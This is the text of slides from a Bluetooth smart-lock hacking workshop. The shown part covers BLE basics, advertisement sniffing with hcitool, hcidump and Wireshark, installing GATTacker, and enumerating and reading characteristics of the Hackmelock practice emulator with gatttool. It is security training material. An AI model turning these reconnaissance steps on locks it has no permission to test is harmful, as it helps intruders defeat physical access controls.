



Bluetooth®

Sławomir Jasek

slawomir.jasek@securing.pl slawomir.jasek@smartlockpicking.com @slawekja

Special guest: Damien Cauquil @virtualabs

Hacking Bluetooth Smart Locks workshop

Brucon, Ghent, 5.10.2017





Sławomir Jasek - short: Sławek [suaveck]

Enjoy appsec (dev, break, build...) since 2003.

Pentesting, consultancy, training - web, mobile, embedded...

Significant part of time for research.







Special guest: Damien Cauquil

Head of R&D, Econocom Digital Security

Senior security researcher

digital security econocom

HW/SW reverse-engineer

Author of BtleJuice tool





How about you?

Kali Linux?

Wireshark?

Android mobile app decompilation/analysis?

Bluetooth?





Agenda

BLE 101 introduction

7 smart locks, various attacks & assessment techniques

- Passive sniffing, active interception, attacking services...
- We'll stay a little longer for the first lock (various techniques)
- Mostly "application" layer vulns
- Hackmelock possible to practice at home





BLUETOOTH SMART





Bluetooth Smart?

AKA Bluetooth 4, Bluetooth Low Energy One of most exploding recently IoT technologies.

Completely different than previous Bluetooth 2, 3 (BR/EDR).

Designed from the groud up for low energy usage, simplicity (rather than throughput).







HidrateMe Smart Water Bottle

HidrateMe, a connected water bottle that tracks your water intake and glows to make sure that you never forget to drink your water again.

PRE-ORDER

Created by

Hidrate, Inc.



8,015 backers pledged \$627,644 to help bring this project to life.





It's magic...



AUTOMATIC

IT KNOWS WHAT'S INSIDE

It's not magic, but close to it. The Vessyl knows and aggregates the makeup of everything you drink. No more guessing or journaling. It keeps track of what's important to you... all automatically.





Bottled Mocha Frappuccino Coffee Drink







When you have the power to change the way you feel, it changes everything.







www.vitalherd.com







Figure 1. The breakout board with (b) tri-axial accelerometer and (a)(c) sensor embedded denture.

http://nslab.ee.ntu.edu.tw/publication/conf/TeethProbeISWC.pdf









The "Lover Detection System" will not only tell you if your partner is being unfaithful, but the speed, duration, and position of the infidelity.





Sex toys...





https://www.pentestpartners.com/security-blog/screwdrivinglocating-and-exploiting-smart-adult-toys/

The Internet Of Dongs Project

Hacking Sex Toys For Security And Privacy

https://internetofdon.gs/





Startups

- 1. Come out with a bright idea where to put a chip in.
- 2. Buy BLE devkit, some soldering, integrate mobile app
- 3. Convincing website + video (bootstrap)
- 4. Crowdfunding!
- 5. Profit!



http://southpark.cc.com/full-episodes/s18e01-go-fund-yourself



y slawekja

WIRED.CO.UK SECURITY WEARABLES BANKS TECHNOLOGY

Halifax uses heartbeat sensor to secure online banking

SECURITY / 13 MARCH 15 / by JAMES TEMPERTON (f) (g) (in) (g) (G) 371 shares 0 comments

ECG signals could replace online banking

passwords following a successful trial by Halifax.

A proof of concept experiment used an ECG band to record a person's cardiac rhythm, which could then be used to login to an online **banking** service. An electrocardiogram or ECG is the unique rhythm of a heartbeat and, unlike a text **password** or fingerprint, it is incredibly difficult to fake.







Medical & Health

Cool & Clever

Millions of devices and counting

Cars

Hands-free Calling Drive Smart, Drive Safe

Consumer Electronics

There are already more than 40 million *Bluetooth*® enabled home and professional healthcare devices on the market from leading manufacturers like 3M, A&D, Nonin and Omron. With Bluetooth Smart and Bluetooth Smart Ready devices exploding on the market, soon there will be millions more.

http://www.bluetooth.com/Pages/Medical.aspx





Smart locks, banking tokens, ...









Bluetooth Smart – bright future of IoT?

Easy to deploy, available, convenient, low-priced. More and more devices – "wearables", medical, smart home... Beacons boom, indoor positioning Physical web **Bluetooth Mesh** Web bluetooth – devices available from the browser (API) IPv6 over Bluetooth Smart











Hacking challenge – steal a car!







WHAT'S OUT THERE? ADVERTISEMENTS





BLE broadcast -> receive



advertisement

Public, by design available for all in

range

(with exception of targeted advertisements, not widely used in practice)





Mobile apps

Android: nRF Connect for Mobile

https://play.google.com/store/ap ps/details?id=no.nordicsemi.andr oid.mcp



nRF Connect for

https://itunes.apple.com/us/app/I ocate-beacon/id738709014

LightBlue

https://itunes.apple.com/us/app/l ightblue-bluetooth-lowenergy/id557428110



11:45 AM

Carrier 😤

K Beacon Info

Proximity UUID 2F234454-CF6D-4A0F-ADF2-F4911BA9FFA6

Minor Major 0

Stop Advertising

(4)

2





Linux

BlueZ, command-line tools, scripting languages...





Hardware: BLE USB dongle

CSR8510 – most common, good enough, ~ 5 EUR

Other chips (often built in laptops)

- Intel, Broadcom, Marvell...
- May be a bit unstable (e.g. with MAC address change)

Power:

- Class II 2.5 mW, 10m range most common
- Class I 100 mW, 100 m range more expensive, actually not necessary







Turn off sharing Bluetooth devices with host

Device	Summary	Connections						
📟 Memory	2 GB	USB Compatibility: USB 2.0 🗸						
Processors	4	Automatically connect new USB devices						
🗐 Hard Disk (SCSI) 40 GB	Show all USB input devices						
) CD/DVD (IDE)	Auto detect	Share Bluetooth devices with the virtual machine						
🔎 Network Adapte	r Bridged (Automatic)	×						
📑 Sound Card	Auto detect							
📱 USB Controller	Present							
💻 Display	Auto detect							





Check device support for BLE

```
root@kali:~# hciconfig
hci0: Type: BR/EDR Bus: USB
      BD Address: 54:4A:16:5D:6F:41 ACL MTU: 310:10 SCO MTU: 64:8
      UP RUNNTNG
      RX bytes:568 acl:0 sco:0 events:29 errors:0
       TX bytes:357 acl:0 sco:0 commands:30 errors:1
root@kali~#: hciconfig hci0 up
root@kali:~# hciconfig hci0 version
hci0: Type: BR/EDR Bus: USB
      BD Address: 54:4A:16:5D:6F:41 ACL MTU: 310:10 SCO MTU: 64:8
      HCI Version: 4.0 (0x6) Revision: 0x22bb
      LMP Version: 4.0 (0x6) Subversion: 0x22bb
      Manufacturer: Cambridge Silicon Radio (10)
```





Kali Linux: BlueZ – scanning for advertisements

hcitool -i hci0 lescan F4:B8:5F:C0:6F:A5 Padlock! F4:B8:5F:C0:6F:A5 Padlock! F4:B8:5E:C0:6E:A5 (unknown) F0:D0:41:05:F7:FF FST DC:C2:99:2C:3E:17 (unknown) DC:C2:99:2C:3E:17 EST F0:D0:41:05:F7:EF (unknown) F0:D0:41:05:F7:EF EST EC:FE:7E:13:9F:95 (unknown) EC:FE:7E:13:9F:95 LockECFE7E139F95 DC:C2:99:2C:3E:17 (unknown) DC:C2:99:2C:3E:17 EST EC:FE:7E:13:9F:95 (unknown) EC:FE:7E:13:9F:95 LockECFE7E139F95





Dump raw packets

hcidump -i hci0 -X -R

ro	ot@ka	li:	-# ł	ncio	dump) - i	i ho	ci0	- X -	- R									⊢⊍:\
HC	I snit	ffei	r -	Blι	let	ooth	n pa	acke	et ai	naly	/zei	r ve	er 5	5.45	5				
de	evice:	hci	10 s	snag	ι	en:	150	00 1	filte	er:ĺ	0x1	fff	fff	fff	fff	fff	F		
>	0000:	04	3e	25	02	01	00	00	95	9f	13	7e	fe	ec	19	02	01	.>%~	
	0010:	06	15	ff	c8	01	01	82	b1	2d	61	85	сс	6a	f8	65	55	i.eU	
	0020:	6c	14	3f	c1	4c	b3	e7	b3									l.?.L	
>	0000:	04	3e	1e	02	01	04	00	95	9f	13	7e	fe	ec	12	11	09	.>~~	
	0010:	4c	6f	63	6b	45	43	46	45	37	45	31	33	39	46	39	35	LockECFE7E139F95	
	0020:	b4	• ·									-							
>	0000:	04	Зe	2h	02	01	00	00	1e	a8	63	72	39	d٥	1f	02	01	>+ r9	
	0010.	06	03	02	fn	ff	16	68	44	30	22	39	37	32	43	33	41	D03972C34	
	0010.	38	21	15	21	66	00	60	66	00	60	66	66	66	ho	55	41	81EI	
_	0020.	20	20	12	21	00	00	00	00 0h	20	16	00 7f	60	£0	07	02	01	01E:	
2	0000:	04	5e	13	02	6T 0	60	00	ob	ze	10	/1	C7	10	07	02	01	.>	
	0010:	00	03	02	e⊍	TT	рa												





Host Controller Interface







Hcidump

Dumps commands and data exchanged between host OS and adapter firmware.

You will see only public advertisements and data exchanged with your host.

Does not dump raw RF packets.





Dump to pcap (readable in Wireshark)

Start packet dump to file:

hcidump -i hci0 -w dump.pcap

Open the pcap in Wireshark:

wireshark dump.pcap





Example advertising data in Wireshark hcidump

	1							Start scan
	No.	Time Sour	ce	Destination	Protocol	Lengthinfo		
		10 host	11	controller	HCI_CMD	6 Sent	LE set Scan Enable	command sent to
		2 0 cont	roller	nost	HC1_EVI	/ RCVO	command complete (LE Set	command sent to
		3 0 host	rollor	controller	HCI_CMD	11 Sent	LE Set Scan Parameters	
		4 0 CONL	rotter	nost	HCI_EVI	7 RCVU	Command Compilete (LE Set	adapter
		5 0 nost	rollor	controller	HCI_CMD	6 Sent	Command Complete (LE Set	
		5 0 CONL	roller	host	HCT_EVI	7 KCVU	LE Moto (LE Advortiging E	Scall Ellable)
Dete evel			oller	host		45 KCVU 15 RcVd	LE Meta (LE Advertising F	Report)
Data excr	nan	gea	oller	host	HCT_EVT	15 KCVU 46 RcVd	LE Meta (LE Advertising F	Report)
		0	oller	host	HCT EVT	46 RCVU	LE Mota (LE Advertising F	(epor c)
hatwaanh	oct	$(\cap c)$	oller	host	HCT EVT	40 RCVd	LE Mota (LE Advertising F	
	1031	$\left(U \right)$	oller	host	HCT EVT	33 Rcvd	LE Meta (LE Advertising F	
			oller	host	HCT EVT	22 Rcvd	LE Meta (LE Advertising F	Advertising data
and contro	oller	' (RIF	oller	host	HCT EVT	38 Rovd	LE Meta (LE Advertising F	
			OIICI	nose	HOI_EVI	30 1070	LE HOLU (LE Auvertising i	
			vent - LE Meta					received from BLE
adapi	ter)		LE Meta (0x3e)					
		Sub Event I	F Advertising R	eport (0x02)				adanter
		Num Reports:	: 1	CP012 (0x02)				addpter
		Event Type:	Scan Response ()	9x04)				
		Peer Address	Type: Public D	evice Address (0x00)				
		BD ADDR: Tex	asIns 16:2e:8b	(f0:c7:7f:16:2e:8b)				
		Data Length:	23	(,				
	-	Advertising	Data					
		Device Na	me: Smartlock	\005				
		Unknown						
	0000	04 3e 23 02	01 04 00 8b 20	e 16 7f c7 f0 17 <mark>0e 09</mark>	.>#			
	0010	53 6d 61 72	74 6C 6f 63 6	20 20 20 05 12 28 00	Smartlock(
	0020	3c 00 02 0a	00 cd	10 10 10 00 12 20 00	<			
	0020							





Advertisement data

Devices broadcast data formatted according to "Generic Access Profile" specification, for example ("header" values):

0x09 «Complete Local Name»

0x16 «Service Data» 0xFF «Manufacturer Specific Data»

Beacon values, manufacturer proprietary...

https://www.bluetooth.org/en-us/specification/assigned-numbers/generic-access-profile





GAP specification

https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile

Secure | https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile

Bluetooth Core Specification	Ge	eneric Access	Profile
Adopted Specifications	Assi	gned numbers are used in GA	P for inquiry response, EIR data type values,
Qualification Test Requirements	man	ufacturer-specific data, adver	tising data, low energy UUIDs and
Submit Idea For a Specification	appe	earance characteristics, and c	lass of device.
Specification Errata [®]	EIR Data	n Type, Advertising Data Type (AD Type) and OOB Data T	ype Definitions
Test Specification Errata 🕫	Data Type	Data Type Name	Reference for Definition
Check Status Of In Progress	0×01	«Flags»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.3 (v2.1 + EDR, 3.0 + H section 1.3
Specifications [®]	0×02	«Incomplete List of 16-bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS section 1.1
Profiles Overview	0×03	«Complete List of 16-bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS section 1.1
Generic Attribute Profile (GATT) Specification	0×04	«Incomplete List of 32-bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS section 1.1
GATT XML	0×05	«Complete List of 32-bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS section 1.1
Assigned Numbers	0×06	«Incomplete List of 128-bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS section 1.1
16 Bit UUIDs For Members	0×07	«Complete List of 128-bit Service Class UUIDs»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.1 (v2.1 + EDR, 3.0 + HS section 1.1
16 Bit UUIDs for SDOs Amp Manager Protocol	0×08	«Shortened Local Name»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.2 (v2.1 + EDR, 3.0 + HS section 1.2
Acronyms and Specification	0×09	«Complete Local Name»	Bluetooth Core Specification:Vol. 3, Part C, section 8.1.2 (v2.1 + EDR, 3.0 + HS




Example advertised data as seen in nRF Connect

_				* 💎.	🖌 🛑 13:0	1
	Dev	ices		OP SCAN		
						(T :40:
lo filte	er					I
Raw o	data:					
0x0 039 636	201060 CF0000 B020A	0303AAFE1116A 045950E09736E F40A160DD0555	AFE200000 06172746C0 397574333	B2A19800 6F636B70 146	000 🗖	
Detai	ls:					i.
LEN.	TYPE	VALUE				
2	0x01	0x06				
3	0x03	OXAAFE				
17	0x16	UXAAFE20000E	2A198000	UU39CF00	004595	
14	0x09	0x736D617274	6C6F636B7	7069636B		
2	0x0A	0xF4				
10	0x16	0x0DD0553975	74333146			
TYPE - /speci	the data	r EIR packet (Type a type as in <u>https://</u> assigned-numbers	+ Data) in byt www.bluetoo generic-acc	tes, hth.org/en-u ess-profile	<u>5</u>	l
					ОК	l
	Tx Pow Service	er Level: -12 dBr Data: UUID: 0xD	m 000D Data: (Dx553975	74333146	
			CLONE	RAW	MORE	
8	LockE EC:FE:7	CFE7E139F95 E:13:9F:95	5	CON	NNECT	
	\bigtriangledown	(С			

Raw o	data: 201060	0303AAFE1116AAFE20000B2A1980000
039 636	CF000 B020A	045950E09736D6172746C6F636B7069
Detail	s:	
LEN.	TYPE	VALUE
2	0x01	0x06
3	0x03	0xAAFE
17	0x16	0xAAFE20000B2A1980000039CF00004595
14	0x09	0x//36D6172746C6F636B7069636B
2	0x0A	0;(F4
10	0x16	0x0DD055397574833146
LEN	length o	fEIR packet (Type + Data) in types, type as in https://www.bluetoothesrg/en-us

0x09 Complete Local Name 0x736D61... "smartlockpick"





Advertisement details in Wireshark: local name 0x09

<u>F</u> ile	<u>E</u> dit <u>V</u> iew <u>G</u> o <u>C</u> a	pture <u>A</u> nalyze <u>S</u> tatis	tics Telephony <u>W</u> ireless	<u>T</u> ools <u>H</u> elp		
	d 🕲 🗖	🛅 🖹 🎑 🔍 🔶	📕 (+ +) 🦕 +	۹ ۹ ۵ 🏢		
Ap	oply a display filter <	Ctrl-/>				
No.	Time	Source	Destination	Protocol Len	igth Info	
	9 1.120695	controller	host	HCI_EVT	22 Rcvd LE Meta (LE Adv	ertisin
	10 1.124758	controller	host	HCI_EVT	38 Rcvd LE Meta (LE Adv	ertisin
	11 1.130761	controller	host	HCI_EVT	46 Rcvd LE Meta (LE Adv	ertisin
	12 1.134763	controller	host	HCI_EVT	46 Rcvd LE Meta (LE Adv	ertisin
	13 1.521838	controller	host	HCI_EVT	40 Rcvd LE Meta (LE Adve	ertisin
	14 1.525618	controller	host	HCI_EVT	33 Rcvd LE Meta (LE Adv	ertisin —
4	15 1.622034	controller	host	HCI EVT	22 Rcvd LE Meta (LE Adve	ertisin
•	BD_ADDR: Bluerad Data Length: 18 Advertising Data • Device Name: Length: 17	di_13:9f:95 (ec:fe a LockECFE7E139F95	e:7e:13:9f:95)			
	Type: Devic	e Name (0x09)	F			
	RSSI (dB): -77	: LOCKECFE/EI39F9	5			
000 001 002	0 04 3e 1e 02 0 0 4c 6f 63 6b 4 0 b3	1 04 00 95 9f 13 5 43 46 45 37 45	7e fe ec 12 11 09 31 33 39 46 39 35	.> <mark>.</mark> LockECFE 7E139F95		

SMARTLOCKPICKING.COM





Bleah

	, D								' n	
	dD		чр.						аь аь	
				DIFAU		9D V	L		-17	
-	4 qxb		ax	BLEAH	VI.0.0	X	D		αχρ	τ
	dX. 9Xb	.dXb						dXb.	dXP	.Xb
	9XXb	.dXXXXb dX	XXXbo.			. od	XXXXb	dXXXXb.		.dXXP
	9XXXXXXXXXXX	XXXXXXXVXX	XXXXXX0	0.		00XXX	XXXXXV	XXXXXXX	XXXXXXXXX	XXXP
	`9XXXXXXXXX	*****	X'~ ~	`0008b	d8000)'~	~` XXXX	XXXXXXXX	*****	(XP'
	`9XXXXXXX	XXXP'``9XX	! ≫∈	`9 8	3v8P'	*	`XXP	'`9XXX)	XXXXXXXX	, '
	~~~~~	~ 9X	7 L =	. dt	db.		.XP	~	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~	
			)bd	bo.dP'`	v'`9b.c	odb.	. dX (			
		, d	XXXXXXX	XXXXb	dXX)	XXXXX	XXXb.			
		dXX	XXXXXXX	XXP'	. `9)	(XXXXX	XXXXXb			
		dXXX	XXXXXXX	XXb o	dlb d)	XXXXX	XXXXXX	b		
		9226	' `YX	XXXh.d)	(Xh, dX)	(	XXh′	P		
		> 1 > 1		¥¥¥¥¥ <i>¥</i> (	1 4 4 4 4	YYD	<u>алл</u> ` т	•		
				<u></u>	, , , , , , , , , , , , , , , , , , ,	\				
			Α		V . A A/					
			Х	P~X b	d'X	`XX				
2			Х	. 9 `	' P	) X				
5				b `		d '				
		Made wit	h 😐 hv	Simone	'evilse	ncket'	Marga	ritelli		

https://github.com/evilsocket/bleah/

https://www.evilsocket.net/2017/09/23/This-is-not-a-post-about-BLE-introducing-BLEAH/





#### # bleah

#### @ Scanning for 5s [-128 dBm of sensitivity] ...

ec:fe:7e:13:9f:95 (-	75 dBm)
Vendor	BlueRadios
Allows Connections	1
Flags	LE General Discoverable, BR/EDR
Complete Local Name	LockECFE7E139F95
Manufacturer	u'c8010182b12d6185cc6af865556c143fc14cb3e7'

#### f0:c7:7f:16:2e:8b (-74 dBm) ----

Vendor	Texas Instruments
Allows Connections	
Flags	LE General Discoverable, BR/EDR
Incomplete 16b Services	u'e0ff'
Complete Local Name	Smartlock

d0:39:72:c3:a8:1e(-52 dBm)VendorTeAllows Connections/FlagsLEIncomplete 16b Servicesu'Short Local NameDeComplete Local NameDeTx Poweru'0x12u'

m) Texas Instruments / LE General Discoverable, BR/EDR u'f0ff' D03972C3A81E! D03972C3A81E! u'00' u'2800800c'





# Introducing GATTacker – gattack.io

Open source Node.js Websockets Modular design Json .io website

# **GATTACKER** OUTSMART THE THINGS

#### And a cool logo!





#### Install in Kali – step 1: install npm (already in VM)

```
root@kali:~# apt-get install npm nodejs nodejs-legacy
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
(...)
0 upgraded, 55 newly installed, 0 to remove and 0 not upgraded.
Need to get 4,603 kB of archives.
After this operation, 18.1 MB of additional disk space will be used.
Do you want to continue? [Y/n]
```





# Install in Kali – step 2 (already in VM)

#### root@kali:~# npm install gattacker

(...)

gattacker@0.1.3 node_modules/gattacker

```
bplist-parser@0.0.6
```

env2@2.1.1

```
— node-getopt@0.2.3
```

```
└── colors@1.1.2
```

```
debug@2.2.0 (ms@0.7.1)
```

→ ws@1.1.1 (options@0.0.6, ultron@1.0.2)

```
— async@2.1.2 (lodash@4.16.4)
```

└── bluetooth-hci-socket@0.4.4 (nan@2.4.0)





#### Step 1 – run ws-slave module







### Running the ws-slave (client)

- \$ cd node_modules/gattacker
- \$ ~/node_modules/gattacker \$ sudo node ws-slave.js
- GATTacker ws-slave





### Step 2 – scan (connecting to ws-slave)







#### Scan for advertisements

root@kali:~/node_modules/gattacker# node scan.js

Ws-slave address: 127.0.0.1

on open

poweredOn

Start scanning.





#### scan.js

#### # node scan.js

- listens for all advertisements,
- saves them automatically to JSON files (devices/ subdir).





#### Example lock advertisement

advertisement saved: devices/f4b85ec06ea5_Padlock-.adv.json





#### Json files (devices/ subfolder) - advertisement

```
"id": "f4b85ec06ea5",
"eir": "0201050302d6ff09095061646c6f636b21",
"scanResponse": null,
"decodedNonEditable": {
    "localName": "Padlock!",
    "manufacturerDataHex": null,
    "manufacturerDataAscii": null,
    "serviceUuids": [
        "ffd6"
    ]
```

Raw hex data (according to BLE spec), used later

Decoded, just for display (editing it will not have any effect)





# **CENTRAL-PERIPHERAL**





### BLE central <-> peripheral







### **Introducing BLE Hackmelock**







#### **Open-source**

Installation, more info:

https://smartlockpicking.com/hackmelock

Source code (device emulator + Android app):

https://github.com/smartlockpicking/hackmelock-device/

https://github.com/smartlockpicking/hackmelock-android/





#### Install emulator device

#### Emulated device (already in your VM/Raspberry):

#### \$ npm install hackmelock





#### Run emulator device

\$ cd node_modules/hackmelock

\$ sudo node peripheral

advertising...

If you don't see that, your adapter may be down





#### In configuration mode, it advertises iBeacon

#### Major/Minor=1

			* 🕶 🖬 🕯 2	23:22
=	Devic	es	STOP SCANNING	:
SCA	NNER	BONDED	ADVERTISER	
No fil	ter			•
	N/A (iBe D0:39:72:1 NOT BONI Type: UNK Flags: Ger Beacon da Company: Type: Bea Length of UUID: 683 Major: 1 Minor: 1 RSSI at 1r	eacon) B7:AD:88 DED <b>-</b> 37 KNOWN heralDiscoverab ata: Apple, Inc. <0x0 con <0x02> data: 21 bytes 4636b-6d33-4c3 n: -59 dBm	CONNECT dBm ↔ 22 ms le, BrEdrNotSupported 004C> 30-634b-38454163304e	:

CLONE RAW MORE





# Check your device BT MAC

pi@raspberrypi:~ \$ hciconfig hci0: Type: BR/EDR Bus: UART BD Address: B8:27:EB:08:88:0E ACL MTU: 1021:8 SCO MTU: 64:1

UP RUNNING

RX bytes:1001 acl:0 sco:0 events:74 errors:0
TX bytes:2818 acl:0 sco:0 commands:74 errors:0







Interactive

root@kali:~# systemctl start bluetooth

root@kali:~# gatttool -I -b B8:27:EB:08:88:0E

[B8:27:EB:08:88:0E][LE]> connect

Attempting to connect to B8:27:EB:08:88:0E

Connection successful

[B8:27:EB:08:88:0E][LE]>

Blue color=connected





#### Services, characteristics, ...

Service – groups several characteristics

Characteristic – contains a single value

Descriptor – additional data

Properties – read/write/notify...

Value – actual value

SERVICE, eg. 0x180F - battery
Characteristic
Descriptor: string (e.g. "Battery level")
Descriptor: subscription status
Properties: read, write, notify (authenticated or not)
Value
Characteristic ()
SERVICE ()





#### UUIDs

#### Services, characteristics, descriptors have 2 forms of ID:

- Typical services (e.g. battery level, device information) use short UUID values defined in the Bluetooth specification
- 16-byte UUID format for proprietary, vendor-specific ones





# Typical IDs

Common typical short service IDs:

0x180F – Battery service

0x180A – Device information (manufacturer name, model number...)

**Typical Descriptor IDs:** 

0x2901 – text description

0x2902 – subscription status

https://www.bluetooth.com/specifications/gatt/services





### List all hackmelock services

#### [B8:27:EB:60:2B:46][LE]> primary

Typical service (short + typical UUID "tail")

#### [B8:27:EB:60:2B:46][LE]> primary

attr handle: 0x0001, end grp handle: 0x0005 uuid: 00001800 0000-1000-8000-00805f9b34fb attr handle: 0x0006, end grp handle: 0x0009 uuid: 00001801 0000-1000-8000-00805f9b34fb attr handle: 0x000a, end grp handle: 0x0015 uuid: 6834636b-6d33-4c30-634b-357276314333 [B8:27:EB:60:2B:46][LE]>

> Proprietary service (16byte UUID)





#### Hackmelock services in nRF Connect



₽			* ▼ ¤ C	6:17
=	Devices		DISCONNECT	:
ER	BONDED	ADVERTISER	N/A B8:27:EB:60:2B:46	5 ×
CONN NOT I	NECTED BONDED	CLIEN	SERVER	:
Gene UUID: PRIM	eric Access 0x1800 ARY SERVICE			
Gene UUID: PRIM	eric Attribute 0x1801 ARY SERVICE			
Unkr UUID: PRIM	6834636b-6d3 ARY SERVICE	3-4c30-634b-3572	76314333	
		Wireless by Nordi	c	
	$\bigtriangledown$	0		

SERVICE, eg. 0x180F - battery

SERVICE

(...)





#### Characteristics

#### [B8:27:EB:60:2B:46][LE]> characteristics

[B8:27:	EB:60:2B:	:46][l	_E]> characte	eristic	s								b
handle:	0x0002,	char	properties:	0x02,	char	value	handle:	0x0003,	uuid:	00002a00-0000-1000-	8000	-00805f9b34	lfb
handle:	0x0004,	char	properties:	0x02,	char	value	handle:	0x0005,	uuid:	00002a01-0000-1000-	8000	-00805f9b34	lfb
handle:	0×0007,	char	properties:	0x20,	char	value	handle:	0x0008,	uuid:	00002a05-0000-1000-	8000	-00805f9b34	lfb
handle:	0x000b,	char	properties:	0x08,	char	value	handle:	0x000c,	uuid:	6834636b-6d33-4c30-	634b	-436852436d	440
handle:	0x000e,	char	properties:	0x30,	char	value	handle:	0x000f,	uuid:	6834636b-6d33-4c30-	634b	-4368524434	154k
handle:	0x0012,	char	properties:	0x32,	char	value	handle:	0x0013,	uuid:	6834636b-6d33-4c30-	634b	-4368525374	34
[B8:27:	EB:60:2B:	461[]	E1>										





#### Hackmelock characteristics

Ð			* ▼ 🛛 (	6:26
≡	Devices		DISCONNECT	
ER	BONDED	ADVERTISER	N/A B8:27:EB:60:2B:4	6 ×
CON NOT	BONDED	CLIENT	SERVER	:
Gen UUIE PRIN	eric Access D: 0x1800 MARY SERVICE			
D UI Pi	evice Name UID: 0x2A00 roperties: READ			+
<b>A</b> j Ul Pi	ppearance UID: 0x2A01 roperties: READ			+
Gen UUIE PRIM	eric Attribute D: 0x1801 MARY SERVICE			
Unk UUIE PRIM	nown Service D: 6834636b-6d3 MARY SERVICE	3-4c30-634b-35727	6314333	
U UI Pi	nknown Chara UID: 6834636b-66 roperties: WRITE	<b>cteristic</b> 133-4c30-634b-436	852436d44	Ť
CI	haracteristic User	Description		
	<	0		

Ð			*	▼ 🛛 O	6:25			
≡	Devices		DISC	ONNECT	÷			
ER	BONDED	ADVERTISER	<b>N/A</b> B8:27:8	EB:60:2B:46	×			
CON NOT	NECTED BONDED	CLIEN	T S	ERVER	:			
Unknown Service UUID: 6834636b-6d33-4c30-634b-357276314333 PRIMARY SERVICE								
Unknown Characteristic UUID: 6834636b-6d33-4c30-634b-436852436d44 Properties: WRITE								
CH	naracteristic Use JID: 0x2901	r Description		+	<u>+</u>			
Unknown Characteristic UUID: 6834636b-6d33-4c30-634b-436852443454 Properties: INDICATE, NOTIFY								
Cli	ient Characterist JID: 0x2902	ic Configuration			+			
UL	naracteristic User JID: 0x2901	r Description		+	<u>+</u>			
Ut 53 Pr De	nknown Chara JID: 6834636b-66 7434 operties: INDICA escriptors:	icteristic d33-4c30-634b-43 TE, NOTIFY, READ	6852	<u>+</u> <u>**</u>	<u>↓</u> ↑			
	$\triangleleft$	0						







# Reading, writing, notifications

Each characteristic has properties: read/write/notify Can be combined (e.g. read+notify, read+write) Read/write – transmit single value





#### Notifications

- Getting more data or receiving periodic updates from a device
- The central device subscribes for a specific characteristic, and the peripheral device sends data asynchronously
- Indication = notification with confirm





#### Descriptors

Ox2901 – optional text description of characteristic (e.g. "Log history", "Password", ...)

0x2902 – current status of subscription to notifications

Ð			* 🗸	🖹 🕑 6:43					
≡	Devices		DISCON	iect :					
ER	BONDED	ADVERTISER	<b>N/A</b> B8:27:EB:60	):2B:46 ×					
CONN NOT B	ECTED ONDED	CLIEN	T SERV	ER 🚦					
Unknown Service UUID: 6834636b-6d33-4c30-634b-357276314333 PRIMARY SERVICE									
Uni UUI Pro	known Char D: 6834636b-6 perties: WRITE	acteristic 5d33-4c30-634b-43 -	368524	read					
Des Cha UUI Valu	<b>criptors:</b> iracteristic Use D: 0x2901 Je: Hackmeloo	er Description sk command		<u>+</u> +					
Uni UUI 683 Proj	known Char D: 4636b-6d33-4 perties: INDIC/	acteristic c30-634b-4368524 ATE, NOTIFY	443454	<u>***</u> <u>*†</u>					
Des Clie	criptors: nt Characteris	tic Configuration		+					
Cha UUI Valu	racteristic Use D: 0x2901 Je: Hackmeloc	er Description sk data transfer		<u>+</u> <u>+</u>					
<b>Uni</b> UUI 537 Proj	known Char D: 6834636b-6 434 perties: INDIC	acteristic 5d33-4c30-634b-43 ATE, NOTIFY, READ	\$6852						
	$\bigtriangledown$	0							





#### All the characteristics, descriptors, services

#### [B8:27:EB:60:2B:46][LE]> char-desc

[B8:27:EB:60:2B:46][LE]> char-desc handle: 0x0001, uuid: 00002800-0000-1000-8000-00805f9b34fb handle: 0x0002, uuid: 00002803-0000-1000-8000-00805f9b34fb

handle: 0x0003, uuid: 00002a00-00 handle: 0x0004, uuid: 00002803-00 handle: 0x0005, uuid: 00002801-00 handle: 0x0006, uuid: 00002800-00 handle: 0x0007, uuid: 00002803-00 handle: 0x0008, uuid: 00002803-00 handle: 0x0009, uuid: 00002800-00 handle: 0x0000, uuid: 00002803-00 handle: 0x000b, uuid: 00002803-00 handle: 0x000c, uuid: 6834636b-6d handle: 0x000d, uuid: 00002901-00 handle: 0x000e, uuid: 00002803-00

Low level: everything (service, characteristic, descriptor, ...) is "attribute", with a handle numbered from 1

handle: 0x000f, uuid: 6834636b-6d33-4c30-634b-436852443454
handle: 0x0010, uuid: 00002902-0000-1000-8000-00805f9b34fb
handle: 0x0011, uuid: 00002901-0000-1000-8000-00805f9b34fb
handle: 0x0012, uuid: 00002803-0000-1000-8000-00805f9b34fb
handle: 0x0013, uuid: 6834636b-6d33-4c30-634b-436852537434
handle: 0x0014, uuid: 00002902-0000-1000-8000-00805f9b34fb
handle: 0x0015, uuid: 00002901-0000-1000-8000-00805f9b34fb
handle: 0x0015, uuid: 00002901-0000-1000-8000-00805f9b34fb

Characteristic Descriptor: string (e.g. "Battery level")

SERVICE. eg. 0x180F - batterv

Descriptor: subscription status

Properties: read, write, notify (authenticated or not)

Value

Characteristic (...)

SERVICE (...)





#### **Reading characteristics**

Read value from characteristic, using handle

[B8:27:EB:60:2B:46][LE]> char-read-hnd 0x03

[B8:27:EB:60:2B:46][LE]> char-read-hnd 0x03
Characteristic value/descriptor: 72 61 73 70 62 65 72 72 79 70 69
[B8:27:EB:60:2B:46][LE]> /

ascii hex





#### Burp: Decoder->Decode as->ASCII hex

Burp Suite Free Edition v1.7.03 - Temporary Project								•••				
Burp Intruder Repeater Window Help												
Targe	Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts
